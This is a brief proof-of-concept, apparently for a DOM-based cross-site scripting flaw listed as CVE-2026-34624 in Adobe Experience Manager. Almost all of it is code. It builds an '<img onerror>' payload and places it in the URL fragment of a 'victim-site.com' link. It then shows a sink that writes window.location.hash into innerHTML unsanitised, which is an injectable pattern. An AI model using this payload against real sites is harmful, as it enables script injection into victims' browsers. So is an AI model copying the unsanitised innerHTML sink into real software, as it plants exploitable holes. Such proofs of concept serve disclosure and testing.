CVE-2026-34624

// Proof of Concept for DOM-based XSS in Adobe Experience Manager // Attacker constructs a malicious URL containing a payload in the fragment or parameter let payload = "<img src=x onerror=alert('CVE-2026-34624-XSS')>"; let targetUrl = "https://victim-site.com/content/path.html#" + encodeURIComponent(payload); // Simulation of the vulnerable sink // If the application takes window.location.hash and uses innerHTML without sanitization: function vulnerableSink(hash) { // Vulnerable code: direct insertion of untrusted data into DOM document.getElementById('userContent').innerHTML = hash; } // When the victim visits the URL, the following happens: console.log("Attacker sends link: " + targetUrl); // victim visits -> browser executes vulnerableSink(window.location.hash) // alert box pops up
